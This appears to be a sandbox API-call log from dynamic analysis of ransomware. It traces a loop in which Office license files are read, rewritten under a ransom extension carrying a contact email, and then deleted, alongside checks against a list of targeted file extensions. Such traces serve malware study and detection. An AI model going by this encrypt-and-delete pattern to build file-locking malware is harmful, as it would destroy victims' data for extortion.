	[0164.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0164.115] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.115] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0164.117] GetLastError () returned 0x0
	[0164.117] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x564d, lpOverlapped=0x0) returned 1
	[0164.130] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0164.394] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.394] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x116, lpOverlapped=0x0) returned 1
	[0164.394] SetEndOfFile (hFile=0x4ac) returned 1
	[0164.394] CloseHandle (hObject=0x4ac) returned 1
	[0164.394] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.394] SetEndOfFile (hFile=0x360) returned 1
	[0164.398] CloseHandle (hObject=0x360) returned 1
	[0164.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1
	[0164.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0164.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0164.399] lstrlenW (lpString=".doc") returned 4
	[0164.400] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.400] lstrlenW (lpString=".docx") returned 5
	[0164.400] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.400] lstrlenW (lpString=".pdf") returned 4
	[0164.400] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.400] lstrlenW (lpString=".xls") returned 4
	[0164.400] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.400] lstrlenW (lpString=".xlsx") returned 5
	[0164.400] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.400] lstrlenW (lpString=".ppt") returned 4
	[0164.400] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0164.400] lstrlenW (lpString=".zip") returned 4
	[0164.400] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.400] lstrlenW (lpString=".rar") returned 4
	[0164.400] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.400] lstrlenW (lpString=".bz2") returned 4
	[0164.400] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.400] lstrlenW (lpString=".7z") returned 3
	[0164.400] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0164.401] lstrlenW (lpString=".dbf") returned 4
	[0164.401] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0164.401] lstrlenW (lpString=".1cd") returned 4
	[0164.401] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0164.401] lstrlenW (lpString=".jpg") returned 4
	[0164.401] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.402] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19966) returned 1
	[0164.402] CloseHandle (hObject=0x360) returned 1
	[0164.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220
	[0164.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0164.403] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.403] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0164.407] GetLastError () returned 0x0
	[0164.407] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0164.416] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0164.418] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.418] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0164.418] SetEndOfFile (hFile=0x4ac) returned 1
	[0164.418] CloseHandle (hObject=0x4ac) returned 1
	[0164.418] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.418] SetEndOfFile (hFile=0x360) returned 1
	[0164.422] CloseHandle (hObject=0x360) returned 1
	[0164.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1
	[0164.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0164.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0164.424] lstrlenW (lpString=".doc") returned 4
	[0164.424] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.424] lstrlenW (lpString=".docx") returned 5
	[0164.424] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.424] lstrlenW (lpString=".pdf") returned 4
	[0164.424] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.424] lstrlenW (lpString=".xls") returned 4
	[0164.424] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.424] lstrlenW (lpString=".xlsx") returned 5
	[0164.425] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.425] lstrlenW (lpString=".ppt") returned 4
	[0164.425] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0164.425] lstrlenW (lpString=".zip") returned 4
	[0164.425] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.425] lstrlenW (lpString=".rar") returned 4
	[0164.425] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.425] lstrlenW (lpString=".bz2") returned 4
	[0164.425] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.425] lstrlenW (lpString=".7z") returned 3
	[0164.425] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0164.425] lstrlenW (lpString=".dbf") returned 4
	[0164.425] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0164.425] lstrlenW (lpString=".1cd") returned 4
	[0164.425] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0164.425] lstrlenW (lpString=".jpg") returned 4
	[0164.425] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.426] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=10667) returned 1
	[0164.426] CloseHandle (hObject=0x360) returned 1
	[0164.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220
	[0164.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0164.428] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.428] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0164.429] GetLastError () returned 0x0
	[0164.429] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0164.449] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0164.451] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.451] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x116, lpOverlapped=0x0) returned 1
	[0164.451] SetEndOfFile (hFile=0x4ac) returned 1
	[0164.451] CloseHandle (hObject=0x4ac) returned 1
	[0164.451] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.451] SetEndOfFile (hFile=0x360) returned 1
	[0164.724] CloseHandle (hObject=0x360) returned 1
	[0164.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1
	[0165.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0165.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0165.172] lstrlenW (lpString=".doc") returned 4
	[0165.172] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0165.172] lstrlenW (lpString=".docx") returned 5
	[0165.172] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0165.172] lstrlenW (lpString=".pdf") returned 4
	[0165.172] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0165.172] lstrlenW (lpString=".xls") returned 4
	[0165.172] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0165.172] lstrlenW (lpString=".xlsx") returned 5
	[0165.172] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0165.172] lstrlenW (lpString=".ppt") returned 4
	[0165.173] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0165.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0165.173] lstrlenW (lpString=".zip") returned 4
	[0165.173] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0165.173] lstrlenW (lpString=".rar") returned 4
	[0165.173] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0165.173] lstrlenW (lpString=".bz2") returned 4
	[0165.173] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0165.173] lstrlenW (lpString=".7z") returned 3
	[0165.173] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0165.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0165.173] lstrlenW (lpString=".dbf") returned 4
	[0165.173] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0165.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0165.173] lstrlenW (lpString=".1cd") returned 4
	[0165.173] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0165.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0165.173] lstrlenW (lpString=".jpg") returned 4
	[0165.173] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0165.174] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19966) returned 1
	[0165.174] CloseHandle (hObject=0x560) returned 1
	[0165.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220
	[0165.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.175] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.175] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0165.177] GetLastError () returned 0x0
	[0165.177] ReadFile (in: hFile=0x560, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0165.201] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0165.203] ReadFile (in: hFile=0x560, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.203] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0165.203] SetEndOfFile (hFile=0x564) returned 1
	[0165.203] CloseHandle (hObject=0x564) returned 1
	[0165.203] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.203] SetEndOfFile (hFile=0x560) returned 1
	[0165.207] CloseHandle (hObject=0x560) returned 1
	[0165.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1
	[0165.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0165.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0165.212] lstrlenW (lpString=".doc") returned 4
	[0165.212] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0165.212] lstrlenW (lpString=".docx") returned 5
	[0165.212] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0165.212] lstrlenW (lpString=".pdf") returned 4
	[0165.212] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0165.212] lstrlenW (lpString=".xls") returned 4
	[0165.212] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0165.212] lstrlenW (lpString=".xlsx") returned 5
	[0165.212] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0165.212] lstrlenW (lpString=".ppt") returned 4
	[0165.212] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0165.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0165.212] lstrlenW (lpString=".zip") returned 4
	[0165.212] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0165.212] lstrlenW (lpString=".rar") returned 4
	[0165.212] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0165.213] lstrlenW (lpString=".bz2") returned 4
	[0165.213] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0165.213] lstrlenW (lpString=".7z") returned 3
	[0165.213] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0165.213] lstrlenW (lpString=".dbf") returned 4
	[0165.213] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0165.213] lstrlenW (lpString=".1cd") returned 4
	[0165.213] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0165.213] lstrlenW (lpString=".jpg") returned 4
	[0165.213] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0165.214] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=10667) returned 1
	[0165.214] CloseHandle (hObject=0x560) returned 1
	[0165.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220
	[0165.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.215] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.215] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
